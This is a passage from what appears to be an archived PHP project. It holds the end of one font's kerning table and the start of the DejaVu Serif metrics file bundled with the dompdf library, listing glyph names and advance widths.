KPX zdotaccent egrave -15
KPX zdotaccent emacron -15
KPX zdotaccent eogonek -15
KPX zdotaccent o -15
KPX zdotaccent oacute -15
KPX zdotaccent ocircumflex -15
KPX zdotaccent odieresis -15
KPX zdotaccent ograve -15
KPX zdotaccent ohungarumlaut -15
KPX zdotaccent omacron -15
KPX zdotaccent oslash -15
KPX zdotaccent otilde -15
EndKernPairs
EndKernData
EndFontMetrics
vendor/dompdf/dompdf/lib/fonts/DejaVuSerif.ufm000066600000412257151150443000015352 0ustar00StartFontMetrics 4.1
Notice Converted by PHP-font-lib
Comment https://github.com/PhenX/php-font-lib
EncodingScheme FontSpecific
FontName DejaVu Serif
FontSubfamily Book
UniqueID DejaVu Serif
FullName DejaVu Serif
Version Version 2.37
PostScriptName DejaVuSerif
Manufacturer DejaVu fonts team
FontVendorURL http://dejavu.sourceforge.net
LicenseURL http://dejavu.sourceforge.net/wiki/index.php/License
PreferredFamily DejaVu Serif
PreferredSubfamily Book
Weight Medium
ItalicAngle 0
IsFixedPitch false
UnderlineThickness 44
UnderlinePosition -63
FontHeightOffset 0
Ascender 928
Descender -236
FontBBox -770 -347 2105 1109
StartCharMetrics 3528
U 32 ; WX 318 ; N space ; G 3
U 33 ; WX 402 ; N exclam ; G 4
U 34 ; WX 460 ; N quotedbl ; G 5
U 35 ; WX 838 ; N numbersign ; G 6
U 36 ; WX 636 ; N dollar ; G 7
U 37 ; WX 950 ; N percent ; G 8
U 38 ; WX 890 ; N ampersand ; G 9
U 39 ; WX 275 ; N quotesingle ; G 10
U 40 ; WX 390 ; N parenleft ; G 11
U 41 ; WX 390 ; N parenright ; G 12
U 42 ; WX 500 ; N asterisk ; G 13
U 43 ; WX 838 ; N plus ; G 14
U 44 ; WX 318 ; N comma ; G 15
U 45 ; WX 338 ; N hyphen ; G 16
U 46 ; WX 318 ; N period ; G 17
U 47 ; WX 337 ; N slash ; G 18
U 48 ; WX 636 ; N zero ; G 19
U 49 ; WX 636 ; N one ; G 20
U 50 ; WX 636 ; N two ; G 21
U 51 ; WX 636 ; N three ; G 22
U 52 ; WX 636 ; N four ; G 23
U 53 ; WX 636 ; N five ; G 24
U 54 ; WX 636 ; N six ; G 25
U 55 ; WX 636 ; N seven ; G 26
U 56 ; WX 636 ; N eight ; G 27
U 57 ; WX 636 ; N nine ; G 28
U 58 ; WX 337 ; N colon ; G 29
U 59 ; WX 337 ; N semicolon ; G 30
U 60 ; WX 838 ; N less ; G 31
U 61 ; WX 838 ; N equal ; G 32
U 62 ; WX 838 ; N greater ; G 33
U 63 ; WX 536 ; N question ; G 34
U 64 ; WX 1000 ; N at ; G 35
U 65 ; WX 722 ; N A ; G 36
U 66 ; WX 735 ; N B ; G 37
U 67 ; WX 765 ; N C ; G 38
U 68 ; WX 802 ; N D ; G 39
U 69 ; WX 730 ; N E ; G 40
U 70 ; WX 694 ; N F ; G 41
U 71 ; WX 799 ; N G ; G 42
U 72 ; WX 872 ; N H ; G 43
U 73 ; WX 395 ; N I ; G 44
U 74 ; WX 401 ; N J ; G 45
U 75 ; WX 747 ; N K ; G 46
U 76 ; WX 664 ; N L ; G 47
U 77 ; WX 1024 ; N M ; G 48
U 78 ; WX 875 ; N N ; G 49
U 79 ; WX 820 ; N O ; G 50
U 80 ; WX 673 ; N P ; G 51
U 81 ; WX 820 ; N Q ; G 52
U 82 ; WX 753 ; N R ; G 53
U 83 ; WX 685 ; N S ; G 54
U 84 ; WX 667 ; N T ; G 55
U 85 ; WX 843 ; N U ; G 56
U 86 ; WX 722 ; N V ; G 57
U 87 ; WX 1028 ; N W ; G 58
U 88 ; WX 712 ; N X ; G 59
U 89 ; WX 660 ; N Y ; G 60
U 90 ; WX 695 ; N Z ; G 61
U 91 ; WX 390 ; N bracketleft ; G 62
U 92 ; WX 337 ; N backslash ; G 63
U 93 ; WX 390 ; N bracketright ; G 64
U 94 ; WX 838 ; N asciicircum ; G 65
U 95 ; WX 500 ; N underscore ; G 66
U 96 ; WX 500 ; N grave ; G 67
U 97 ; WX 596 ; N a ; G 68
U 98 ; WX 640 ; N b ; G 69
U 99 ; WX 560 ; N c ; G 70
U 100 ; WX 640 ; N d ; G 71
U 101 ; WX 592 ; N e ; G 72
U 102 ; WX 370 ; N f ; G 73
U 103 ; WX 640 ; N g ; G 74
U 104 ; WX 644 ; N h ; G 75
U 105 ; WX 320 ; N i ; G 76
U 106 ; WX 310 ; N j ; G 77
U 107 ; WX 606 ; N k ; G 78
U 108 ; WX 320 ; N l ; G 79
U 109 ; WX 948 ; N m ; G 80
U 110 ; WX 644 ; N n ; G 81
U 111 ; WX 602 ; N o ; G 82
U 112 ; WX 640 ; N p ; G 83
U 113 ; WX 640 ; N q ; G 84
U 114 ; WX 478 ; N r ; G 85
U 115 ; WX 513 ; N s ; G 86
U 116 ; WX 402 ; N t ; G 87
U 117 ; WX 644 ; N u ; G 88
U 118 ; WX 565 ; N v ; G 89
U 119 ; WX 856 ; N w ; G 90
U 120 ; WX 564 ; N x ; G 91
U 121 ; WX 565 ; N y ; G 92
U 122 ; WX 527 ; N z ; G 93
U 123 ; WX 636 ; N braceleft ; G 94
U 124 ; WX 337 ; N bar ; G 95
U 125 ; WX 636 ; N braceright ; G 96
U 126 ; WX 838 ; N asciitilde ; G 97
U 160 ; WX 318 ; N nbspace ; G 98
U 161 ; WX 402 ; N exclamdown ; G 99
U 162 ; WX 636 ; N cent ; G 100
U 163 ; WX 636 ; N sterling ; G 101
U 164 ; WX 636 ; N currency ; G 102
U 165 ; WX 636 ; N yen ; G 103
U 166 ; WX 337 ; N brokenbar ; G 104
U 167 ; WX 500 ; N section ; G 105
U 168 ; WX 500 ; N dieresis ; G 106
U 169 ; WX 1000 ; N copyright ; G 107
U 170 ; WX 475 ; N ordfeminine ; G 108
U 171 ; WX 612 ; N guillemotleft ; G 109
U 172 ; WX 838 ; N logicalnot ; G 110
U 173 ; WX 338 ; N sfthyphen ; G 111
U 174 ; WX 1000 ; N registered ; G 112
U 175 ; WX 500 ; N macron ; G 113
U 176 ; WX 500 ; N degree ; G 114
U 177 ; WX 838 ; N plusminus ; G 115
U 178 ; WX 401 ; N twosuperior ; G 116
U 179 ; WX 401 ; N threesuperior ; G 117
U 180 ; WX 500 ; N acute ; G 118
U 181 ; WX 650 ; N mu ; G 119
U 182 ; WX 636 ; N paragraph ; G 120
U 183 ; WX 318 ; N periodcentered ; G 121
U 184 ; WX 500 ; N cedilla ; G 122
U 185 ; WX 401 ; N onesuperior ; G 123
U 186 ; WX 470 ; N ordmasculine ; G 124
U 187 ; WX 612 ; N guillemotright ; G 125
U 188 ; WX 969 ; N onequarter ; G 126
U 189 ; WX 969 ; N onehalf ; G 127
U 190 ; WX 969 ; N threequarters ; G 128
U 191 ; WX 536 ; N questiondown ; G 129
U 192 ; WX 722 ; N Agrave ; G 130
U 193 ; WX 722 ; N Aacute ; G 131
U 194 ; WX 722 ; N Acircumflex ; G 132
U 195 ; WX 722 ; N Atilde ; G 133
U 196 ; WX 722 ; N Adieresis ; G 134
U 197 ; WX 722 ; N Aring ; G 135
U 198 ; WX 1001 ; N AE ; G 136
U 199 ; WX 765 ; N Ccedilla ; G 137
U 200 ; WX 730 ; N Egrave ; G 138
U 201 ; WX 730 ; N Eacute ; G 139
U 202 ; WX 730 ; N Ecircumflex ; G 140
U 203 ; WX 730 ; N Edieresis ; G 141
U 204 ; WX 395 ; N Igrave ; G 142
U 205 ; WX 395 ; N Iacute ; G 143
U 206 ; WX 395 ; N Icircumflex ; G 144
U 207 ; WX 395 ; N Idieresis ; G 145
U 208 ; WX 807 ; N Eth ; G 146
U 209 ; WX 875 ; N Ntilde ; G 147
U 210 ; WX 820 ; N Ograve ; G 148
U 211 ; WX 820 ; N Oacute ; G 149
U 212 ; WX 820 ; N Ocircumflex ; G 150
U 213 ; WX 820 ; N Otilde ; G 151
U 214 ; WX 820 ; N Odieresis ; G 152
U 215 ; WX 838 ; N multiply ; G 153
U 216 ; WX 820 ; N Oslash ; G 154
U 217 ; WX 843 ; N Ugrave ; G 155
U 218 ; WX 843 ; N Uacute ; G 156
U 219 ; WX 843 ; N Ucircumflex ; G 157
U 220 ; WX 843 ; N Udieresis ; G 158
U 221 ; WX 660 ; N Yacute ; G 159
U 222 ; WX 676 ; N Thorn ; G 160
U 223 ; WX 668 ; N germandbls ; G 161
U 224 ; WX 596 ; N agrave ; G 162
U 225 ; WX 596 ; N aacute ; G 163
U 226 ; WX 596 ; N acircumflex ; G 164
U 227 ; WX 596 ; N atilde ; G 165
U 228 ; WX 596 ; N adieresis ; G 166
U 229 ; WX 596 ; N aring ; G 167
U 230 ; WX 940 ; N ae ; G 168
U 231 ; WX 560 ; N ccedilla ; G 169
U 232 ; WX 592 ; N egrave ; G 170
U 233 ; WX 592 ; N eacute ; G 171
U 234 ; WX 592 ; N ecircumflex ; G 172
U 235 ; WX 592 ; N edieresis ; G 173
U 236 ; WX 320 ; N igrave ; G 174
U 237 ; WX 320 ; N iacute ; G 175
U 238 ; WX 320 ; N icircumflex ; G 176
U 239 ; WX 320 ; N idieresis ; G 177
U 240 ; WX 602 ; N eth ; G 178
U 241 ; WX 644 ; N ntilde ; G 179
U 242 ; WX 602 ; N ograve ; G 180
U 243 ; WX 602 ; N oacute ; G 181
U 244 ; WX 602 ; N ocircumflex ; G 182
U 245 ; WX 602 ; N otilde ; G 183
U 246 ; WX 602 ; N odieresis ; G 184
U 247 ; WX 838 ; N divide ; G 185
U 248 ; WX 602 ; N oslash ; G 186
U 249 ; WX 644 ; N ugrave ; G 187
U 250 ; WX 644 ; N uacute ; G 188
U 251 ; WX 644 ; N ucircumflex ; G 189
U 252 ; WX 644 ; N udieresis ; G 190
U 253 ; WX 565 ; N yacute ; G 191
U 254 ; WX 640 ; N thorn ; G 192
U 255 ; WX 565 ; N ydieresis ; G 193
U 256 ; WX 722 ; N Amacron ; G 194
U 257 ; WX 596 ; N amacron ; G 195
U 258 ; WX 722 ; N Abreve ; G 196
U 259 ; WX 596 ; N abreve ; G 197
U 260 ; WX 722 ; N Aogonek ; G 198
U 261 ; WX 596 ; N aogonek ; G 199
U 262 ; WX 765 ; N Cacute ; G 200
U 263 ; WX 560 ; N cacute ; G 201
U 264 ; WX 765 ; N Ccircumflex ; G 202
U 265 ; WX 560 ; N ccircumflex ; G 203
U 266 ; WX 765 ; N Cdotaccent ; G 204
U 267 ; WX 560 ; N cdotaccent ; G 205
U 268 ; WX 765 ; N Ccaron ; G 206
U 269 ; WX 560 ; N ccaron ; G 207
U 270 ; WX 802 ; N Dcaron ; G 208
U 271 ; WX 640 ; N dcaron ; G 209
U 272 ; WX 807 ; N Dcroat ; G 210
U 273 ; WX 640 ; N dmacron ; G 211
U 274 ; WX 730 ; N Emacron ; G 212
U 275 ; WX 592 ; N emacron ; G 213
U 276 ; WX 730 ; N Ebreve ; G 214
U 277 ; WX 592 ; N ebreve ; G 215
U 278 ; WX 730 ; N Edotaccent ; G 216
U 279 ; WX 592 ; N edotaccent ; G 217
U 280 ; WX 730 ; N Eogonek ; G 218
U 281 ; WX 592 ; N eogonek ; G 219
U 282 ; WX 730 ; N Ecaron ; G 220
U 283 ; WX 592 ; N ecaron ; G 221
U 284 ; WX 799 ; N Gcircumflex ; G 222
U 285 ; WX 640 ; N gcircumflex ; G 223
U 286 ; WX 799 ; N Gbreve ; G 224
U 287 ; WX 640 ; N gbreve ; G 225
U 288 ; WX 799 ; N Gdotaccent ; G 226
U 289 ; WX 640 ; N gdotaccent ; G 227
U 290 ; WX 799 ; N Gcommaaccent ; G 228
U 291 ; WX 640 ; N gcommaaccent ; G 229
U 292 ; WX 872 ; N Hcircumflex ; G 230
U 293 ; WX 644 ; N hcircumflex ; G 231
U 294 ; WX 872 ; N Hbar ; G 232
U 295 ; WX 644 ; N hbar ; G 233
U 296 ; WX 395 ; N Itilde ; G 234
U 297 ; WX 320 ; N itilde ; G 235
U 298 ; WX 395 ; N Imacron ; G 236
U 299 ; WX 320 ; N imacron ; G 237
U 300 ; WX 395 ; N Ibreve ; G 238
U 301 ; WX 320 ; N ibreve ; G 239
U 302 ; WX 395 ; N Iogonek ; G 240
U 303 ; WX 320 ; N iogonek ; G 241
U 304 ; WX 395 ; N Idot ; G 242
U 305 ; WX 320 ; N dotlessi ; G 243
U 306 ; WX 801 ; N IJ ; G 244
U 307 ; WX 533 ; N ij ; G 245
U 308 ; WX 401 ; N Jcircumflex ; G 246
U 309 ; WX 310 ; N jcircumflex ; G 247
U 310 ; WX 747 ; N Kcommaaccent ; G 248
U 311 ; WX 606 ; N kcommaaccent ; G 249
U 312 ; WX 606 ; N kgreenlandic ; G 250
U 313 ; WX 664 ; N Lacute ; G 251
U 314 ; WX 320 ; N lacute ; G 252
U 315 ; WX 664 ; N Lcommaaccent ; G 253
U 316 ; WX 320 ; N lcommaaccent ; G 254
U 317 ; WX 664 ; N Lcaron ; G 255
U 318 ; WX 320 ; N lcaron ; G 256
U 319 ; WX 664 ; N Ldot ; G 257
U 320 ; WX 320 ; N ldot ; G 258
U 321 ; WX 669 ; N Lslash ; G 259
U 322 ; WX 324 ; N lslash ; G 260
U 323 ; WX 875 ; N Nacute ; G 261
U 324 ; WX 644 ; N nacute ; G 262
U 325 ; WX 875 ; N Ncommaaccent ; G 263
U 326 ; WX 644 ; N ncommaaccent ; G 264
U 327 ; WX 875 ; N Ncaron ; G 265
U 328 ; WX 644 ; N ncaron ; G 266
U 329 ; WX 866 ; N napostrophe ; G 267
U 330 ; WX 843 ; N Eng ; G 268
U 331 ; WX 644 ; N eng ; G 269
U 332 ; WX 820 ; N Omacron ; G 270
U 333 ; WX 602 ; N omacron ; G 271
U 334 ; WX 820 ; N Obreve ; G 272
U 335 ; WX 602 ; N obreve ; G 273
U 336 ; WX 820 ; N Ohungarumlaut ; G 274
U 337 ; WX 602 ; N ohungarumlaut ; G 275
U 338 ; WX 1137 ; N OE ; G 276
U 339 ; WX 989 ; N oe ; G 277
U 340 ; WX 753 ; N Racute ; G 278
U 341 ; WX 478 ; N racute ; G 279
U 342 ; WX 753 ; N Rcommaaccent ; G 280
U 343 ; WX 478 ; N rcommaaccent ; G 281
U 344 ; WX 753 ; N Rcaron ; G 282
U 345 ; WX 478 ; N rcaron ; G 283
U 346 ; WX 685 ; N Sacute ; G 284
U 347 ; WX 513 ; N sacute ; G 285
U 348 ; WX 685 ; N Scircumflex ; G 286
U 349 ; WX 513 ; N scircumflex ; G 287
U 350 ; WX 685 ; N Scedilla ; G 288
U 351 ; WX 513 ; N scedilla ; G 289
U 352 ; WX 685 ; N Scaron ; G 290
U 353 ; WX 513 ; N scaron ; G 291
U 354 ; WX 667 ; N Tcommaaccent ; G 292
U 355 ; WX 402 ; N tcommaaccent ; G 293
U 356 ; WX 667 ; N Tcaron ; G 294
U 357 ; WX 402 ; N tcaron ; G 295
U 358 ; WX 667 ; N Tbar ; G 296
U 359 ; WX 402 ; N tbar ; G 297
U 360 ; WX 843 ; N Utilde ; G 298
U 361 ; WX 644 ; N utilde ; G 299
U 362 ; WX 843 ; N Umacron ; G 300
U 363 ; WX 644 ; N umacron ; G 301
U 364 ; WX 843 ; N Ubreve ; G 302
U 365 ; WX 644 ; N ubreve ; G 303
U 366 ; WX 843 ; N Uring ; G 304
U 367 ; WX 644 ; N uring ; G 305
U 368 ; WX 843 ; N Uhungarumlaut ; G 306
U 369 ; WX 644 ; N uhungarumlaut ; G 307
U 370 ; WX 843 ; N Uogonek ; G 308
U 371 ; WX 644 ; N uogonek ; G 309
U 372 ; WX 1028 ; N Wcircumflex ; G 310
U 373 ; WX 856 ; N wcircumflex ; G 311
U 374 ; WX 660 ; N Ycircumflex ; G 312
U 375 ; WX 565 ; N ycircumflex ; G 313
U 376 ; WX 660 ; N Ydieresis ; G 314
U 377 ; WX 695 ; N Zacute ; G 315
U 378 ; WX 527 ; N zacute ; G 316
U 379 ; WX 695 ; N Zdotaccent ; G 317
U 380 ; WX 527 ; N zdotaccent ; G 318
U 381 ; WX 695 ; N Zcaron ; G 319
U 382 ; WX 527 ; N zcaron ; G 320
U 383 ; WX 370 ; N longs ; G 321
U 384 ; WX 640 ; N uni0180 ; G 322
U 385 ; WX 735 ; N uni0181 ; G 323
U 386 ; WX 735 ; N uni0182 ; G 324
U 387 ; WX 640 ; N uni0183 ; G 325
U 388 ; WX 735 ; N uni0184 ; G 326
U 389 ; WX 640 ; N uni0185 ; G 327
U 390 ; WX 765 ; N uni0186 ; G 328
U 391 ; WX 765 ; N uni0187 ; G 329
U 392 ; WX 560 ; N uni0188 ; G 330
U 393 ; WX 807 ; N uni0189 ; G 331
U 394 ; WX 802 ; N uni018A ; G 332
U 395 ; WX 735 ; N uni018B ; G 333
U 396 ; WX 640 ; N uni018C ; G 334
U 397 ; WX 602 ; N uni018D ; G 335
U 398 ; WX 730 ; N uni018E ; G 336
U 399 ; WX 820 ; N uni018F ; G 337
U 400 ; WX 623 ; N uni0190 ; G 338
U 401 ; WX 694 ; N uni0191 ; G 339
U 402 ; WX 370 ; N florin ; G 340
U 403 ; WX 799 ; N uni0193 ; G 341
U 404 ; WX 712 ; N uni0194 ; G 342
U 405 ; WX 932 ; N uni0195 ; G 343
U 406 ; WX 395 ; N uni0196 ; G 344
U 407 ; WX 395 ; N uni0197 ; G 345
U 408 ; WX 747 ; N uni0198 ; G 346
U 409 ; WX 606 ; N uni0199 ; G 347
U 410 ; WX 320 ; N uni019A ; G 348
U 411 ; WX 634 ; N uni019B ; G 349
U 412 ; WX 948 ; N uni019C ; G 350
U 413 ; WX 875 ; N uni019D ; G 351
U 414 ; WX 644 ; N uni019E ; G 352
U 415 ; WX 820 ; N uni019F ; G 353
U 416 ; WX 820 ; N Ohorn ; G 354
U 417 ; WX 602 ; N ohorn ; G 355
U 418 ; WX 1040 ; N uni01A2 ; G 356
U 419 ; WX 807 ; N uni01A3 ; G 357
U 420 ; WX 673 ; N uni01A4 ; G 358
U 421 ; WX 640 ; N uni01A5 ; G 359
U 422 ; WX 753 ; N uni01A6 ; G 360
U 423 ; WX 685 ; N uni01A7 ; G 361
U 424 ; WX 513 ; N uni01A8 ; G 362
U 425 ; WX 707 ; N uni01A9 ; G 363
U 426 ; WX 324 ; N uni01AA ; G 364
U 427 ; WX 402 ; N uni01AB ; G 365
U 428 ; WX 667 ; N uni01AC ; G 366
U 429 ; WX 402 ; N uni01AD ; G 367
U 430 ; WX 667 ; N uni01AE ; G 368
U 431 ; WX 843 ; N Uhorn ; G 369
U 432 ; WX 644 ; N uhorn ; G 370
U 433 ; WX 829 ; N uni01B1 ; G 371
U 434 ; WX 760 ; N uni01B2 ; G 372
U 435 ; WX 738 ; N uni01B3 ; G 373
U 436 ; WX 663 ; N uni01B4 ; G 374
U 437 ; WX 695 ; N uni01B5 ; G 375
U 438 ; WX 527 ; N uni01B6 ; G 376
U 439 ; WX 564 ; N uni01B7 ; G 377
U 440 ; WX 564 ; N uni01B8 ; G 378
U 441 ; WX 564 ; N uni01B9 ; G 379
U 442 ; WX 564 ; N uni01BA ; G 380
U 443 ; WX 636 ; N uni01BB ; G 381
U 444 ; WX 687 ; N uni01BC ; G 382
U 445 ; WX 564 ; N uni01BD ; G 383
U 446 ; WX 536 ; N uni01BE ; G 384
U 447 ; WX 635 ; N uni01BF ; G 385
U 448 ; WX 295 ; N uni01C0 ; G 386
U 449 ; WX 492 ; N uni01C1 ; G 387
U 450 ; WX 459 ; N uni01C2 ; G 388
U 451 ; WX 295 ; N uni01C3 ; G 389
U 452 ; WX 1497 ; N uni01C4 ; G 390
U 453 ; WX 1329 ; N uni01C5 ; G 391
U 454 ; WX 1167 ; N uni01C6 ; G 392
U 455 ; WX 1065 ; N uni01C7 ; G 393
U 456 ; WX 974 ; N uni01C8 ; G 394
U 457 ; WX 630 ; N uni01C9 ; G 395
U 458 ; WX 1276 ; N uni01CA ; G 396
U 459 ; WX 1185 ; N uni01CB ; G 397
U 460 ; WX 954 ; N uni01CC ; G 398
U 461 ; WX 722 ; N uni01CD ; G 399
U 462 ; WX 596 ; N uni01CE ; G 400
U 463 ; WX 395 ; N uni01CF ; G 401
U 464 ; WX 320 ; N uni01D0 ; G 402
U 465 ; WX 820 ; N uni01D1 ; G 403
U 466 ; WX 602 ; N uni01D2 ; G 404
U 467 ; WX 843 ; N uni01D3 ; G 405
U 468 ; WX 644 ; N uni01D4 ; G 406
U 469 ; WX 843 ; N uni01D5 ; G 407
U 470 ; WX 644 ; N uni01D6 ; G 408
U 471 ; WX 843 ; N uni01D7 ; G 409
U 472 ; WX 644 ; N uni01D8 ; G 410
U 473 ; WX 843 ; N uni01D9 ; G 411
U 474 ; WX 644 ; N uni01DA ; G 412
U 475 ; WX 843 ; N uni01DB ; G 413
U 476 ; WX 644 ; N uni01DC ; G 414
U 477 ; WX 592 ; N uni01DD ; G 415
U 478 ; WX 722 ; N uni01DE ; G 416
U 479 ; WX 596 ; N uni01DF ; G 417
U 480 ; WX 722 ; N uni01E0 ; G 418
U 481 ; WX 596 ; N uni01E1 ; G 419
U 482 ; WX 1001 ; N uni01E2 ; G 420
U 483 ; WX 940 ; N uni01E3 ; G 421
U 484 ; WX 848 ; N uni01E4 ; G 422
U 485 ; WX 640 ; N uni01E5 ; G 423
U 486 ; WX 799 ; N Gcaron ; G 424
U 487 ; WX 640 ; N gcaron ; G 425
U 488 ; WX 747 ; N uni01E8 ; G 426
U 489 ; WX 606 ; N uni01E9 ; G 427
U 490 ; WX 820 ; N uni01EA ; G 428
U 491 ; WX 602 ; N uni01EB ; G 429
U 492 ; WX 820 ; N uni01EC ; G 430
U 493 ; WX 602 ; N uni01ED ; G 431
U 494 ; WX 564 ; N uni01EE ; G 432
U 495 ; WX 564 ; N uni01EF ; G 433
U 496 ; WX 320 ; N uni01F0 ; G 434
U 497 ; WX 1497 ; N uni01F1 ; G 435
U 498 ; WX 1329 ; N uni01F2 ; G 436
U 499 ; WX 1167 ; N uni01F3 ; G 437
U 500 ; WX 799 ; N uni01F4 ; G 438
U 501 ; WX 640 ; N uni01F5 ; G 439
U 502 ; WX 1154 ; N uni01F6 ; G 440
U 503 ; WX 707 ; N uni01F7 ; G 441
U 504 ; WX 875 ; N uni01F8 ; G 442
U 505 ; WX 644 ; N uni01F9 ; G 443
U 506 ; WX 722 ; N Aringacute ; G 444
U 507 ; WX 596 ; N aringacute ; G 445
U 508 ; WX 1001 ; N AEacute ; G 446
U 509 ; WX 940 ; N aeacute ; G 447
U 510 ; WX 820 ; N Oslashacute ; G 448
U 511 ; WX 602 ; N oslashacute ; G 449
U 512 ; WX 722 ; N uni0200 ; G 450
U 513 ; WX 596 ; N uni0201 ; G 451
U 514 ; WX 722 ; N uni0202 ; G 452
U 515 ; WX 596 ; N uni0203 ; G 453
U 516 ; WX 730 ; N uni0204 ; G 454
U 517 ; WX 592 ; N uni0205 ; G 455
U 518 ; WX 730 ; N uni0206 ; G 456
U 519 ; WX 592 ; N uni0207 ; G 457
U 520 ; WX 395 ; N uni0208 ; G 458
U 521 ; WX 320 ; N uni0209 ; G 459
U 522 ; WX 395 ; N uni020A ; G 460
U 523 ; WX 320 ; N uni020B ; G 461
U 524 ; WX 820 ; N uni020C ; G 462
U 525 ; WX 602 ; N uni020D ; G 463
U 526 ; WX 820 ; N uni020E ; G 464
U 527 ; WX 602 ; N uni020F ; G 465
U 528 ; WX 753 ; N uni0210 ; G 466
U 529 ; WX 478 ; N uni0211 ; G 467
U 530 ; WX 753 ; N uni0212 ; G 468
U 531 ; WX 478 ; N uni0213 ; G 469
U 532 ; WX 843 ; N uni0214 ; G 470
U 533 ; WX 644 ; N uni0215 ; G 471
U 534 ; WX 843 ; N uni0216 ; G 472
U 535 ; WX 644 ; N uni0217 ; G 473
U 536 ; WX 685 ; N Scommaaccent ; G 474
U 537 ; WX 513 ; N scommaaccent ; G 475
U 538 ; WX 667 ; N uni021A ; G 476
U 539 ; WX 402 ; N uni021B ; G 477
U 540 ; WX 627 ; N uni021C ; G 478
U 541 ; WX 521 ; N uni021D ; G 479
U 542 ; WX 872 ; N uni021E ; G 480
U 543 ; WX 644 ; N uni021F ; G 481
U 544 ; WX 843 ; N uni0220 ; G 482
U 545 ; WX 814 ; N uni0221 ; G 483
U 546 ; WX 572 ; N uni0222 ; G 484
U 547 ; WX 552 ; N uni0223 ; G 485
U 548 ; WX 695 ; N uni0224 ; G 486
U 549 ; WX 527 ; N uni0225 ; G 487
U 550 ; WX 722 ; N uni0226 ; G 488
U 551 ; WX 596 ; N uni0227 ; G 489
U 552 ; WX 730 ; N uni0228 ; G 490
U 553 ; WX 592 ; N uni0229 ; G 491
U 554 ; WX 820 ; N uni022A ; G 492
U 555 ; WX 602 ; N uni022B ; G 493
U 556 ; WX 820 ; N uni022C ; G 494
U 557 ; WX 602 ; N uni022D ; G 495
U 558 ; WX 820 ; N uni022E ; G 496
U 559 ; WX 602 ; N uni022F ; G 497
U 560 ; WX 820 ; N uni0230 ; G 498
U 561 ; WX 602 ; N uni0231 ; G 499
U 562 ; WX 660 ; N uni0232 ; G 500
U 563 ; WX 565 ; N uni0233 ; G 501
U 564 ; WX 500 ; N uni0234 ; G 502
U 565 ; WX 832 ; N uni0235 ; G 503
U 566 ; WX 494 ; N uni0236 ; G 504
U 567 ; WX 310 ; N dotlessj ; G 505
U 568 ; WX 960 ; N uni0238 ; G 506
U 569 ; WX 960 ; N uni0239 ; G 507
U 570 ; WX 722 ; N uni023A ; G 508
U 571 ; WX 765 ; N uni023B ; G 509
U 572 ; WX 560 ; N uni023C ; G 510
U 573 ; WX 664 ; N uni023D ; G 511
U 574 ; WX 667 ; N uni023E ; G 512
U 575 ; WX 513 ; N uni023F ; G 513
U 576 ; WX 527 ; N uni0240 ; G 514
U 577 ; WX 583 ; N uni0241 ; G 515
U 578 ; WX 464 ; N uni0242 ; G 516
U 579 ; WX 735 ; N uni0243 ; G 517
U 580 ; WX 843 ; N uni0244 ; G 518
U 581 ; WX 722 ; N uni0245 ; G 519
U 582 ; WX 730 ; N uni0246 ; G 520
U 583 ; WX 592 ; N uni0247 ; G 521
U 584 ; WX 401 ; N uni0248 ; G 522
U 585 ; WX 315 ; N uni0249 ; G 523
U 586 ; WX 782 ; N uni024A ; G 524
U 587 ; WX 640 ; N uni024B ; G 525
U 588 ; WX 753 ; N uni024C ; G 526
U 589 ; WX 478 ; N uni024D ; G 527
U 590 ; WX 660 ; N uni024E ; G 528
U 591 ; WX 565 ; N uni024F ; G 529
U 592 ; WX 596 ; N uni0250 ; G 530
U 593 ; WX 640 ; N uni0251 ; G 531
U 594 ; WX 640 ; N uni0252 ; G 532
U 595 ; WX 640 ; N uni0253 ; G 533
U 596 ; WX 560 ; N uni0254 ; G 534
U 597 ; WX 560 ; N uni0255 ; G 535
U 598 ; WX 647 ; N uni0256 ; G 536
U 599 ; WX 683 ; N uni0257 ; G 537
U 600 ; WX 592 ; N uni0258 ; G 538
U 601 ; WX 592 ; N uni0259 ; G 539
U 602 ; WX 843 ; N uni025A ; G 540
U 603 ; WX 518 ; N uni025B ; G 541
U 604 ; WX 509 ; N uni025C ; G 542
U 605 ; WX 773 ; N uni025D ; G 543
U 606 ; WX 613 ; N uni025E ; G 544
U 607 ; WX 315 ; N uni025F ; G 545
U 608 ; WX 683 ; N uni0260 ; G 546
U 609 ; WX 640 ; N uni0261 ; G 547
U 610 ; WX 580 ; N uni0262 ; G 548
U 611 ; WX 599 ; N uni0263 ; G 549
U 612 ; WX 564 ; N uni0264 ; G 550
U 613 ; WX 644 ; N uni0265 ; G 551
U 614 ; WX 644 ; N uni0266 ; G 552
U 615 ; WX 644 ; N uni0267 ; G 553
U 616 ; WX 320 ; N uni0268 ; G 554
U 617 ; WX 392 ; N uni0269 ; G 555
U 618 ; WX 320 ; N uni026A ; G 556
U 619 ; WX 380 ; N uni026B ; G 557
U 620 ; WX 454 ; N uni026C ; G 558
U 621 ; WX 363 ; N uni026D ; G 559
U 622 ; WX 704 ; N uni026E ; G 560
U 623 ; WX 948 ; N uni026F ; G 561
U 624 ; WX 948 ; N uni0270 ; G 562
U 625 ; WX 948 ; N uni0271 ; G 563
U 626 ; WX 644 ; N uni0272 ; G 564
U 627 ; WX 694 ; N uni0273 ; G 565
U 628 ; WX 646 ; N uni0274 ; G 566
U 629 ; WX 602 ; N uni0275 ; G 567
U 630 ; WX 790 ; N uni0276 ; G 568
U 631 ; WX 821 ; N uni0277 ; G 569
U 632 ; WX 692 ; N uni0278 ; G 570
U 633 ; WX 501 ; N uni0279 ; G 571
U 634 ; WX 501 ; N uni027A ; G 572
U 635 ; WX 551 ; N uni027B ; G 573
U 636 ; WX 478 ; N uni027C ; G 574
U 637 ; WX 478 ; N uni027D ; G 575
U 638 ; WX 453 ; N uni027E ; G 576
U 639 ; WX 453 ; N uni027F ; G 577
U 640 ; WX 581 ; N uni0280 ; G 578
U 641 ; WX 581 ; N uni0281 ; G 579
U 642 ; WX 513 ; N uni0282 ; G 580
U 643 ; WX 271 ; N uni0283 ; G 581
U 644 ; WX 370 ; N uni0284 ; G 582
U 645 ; WX 487 ; N uni0285 ; G 583
U 646 ; WX 324 ; N uni0286 ; G 584
U 647 ; WX 402 ; N uni0287 ; G 585
U 648 ; WX 402 ; N uni0288 ; G 586
U 649 ; WX 644 ; N uni0289 ; G 587
U 650 ; WX 620 ; N uni028A ; G 588
U 651 ; WX 608 ; N uni028B ; G 589
U 652 ; WX 565 ; N uni028C ; G 590
U 653 ; WX 856 ; N uni028D ; G 591
U 654 ; WX 565 ; N uni028E ; G 592
U 655 ; WX 655 ; N uni028F ; G 593
U 656 ; WX 597 ; N uni0290 ; G 594
U 657 ; WX 560 ; N uni0291 ; G 595
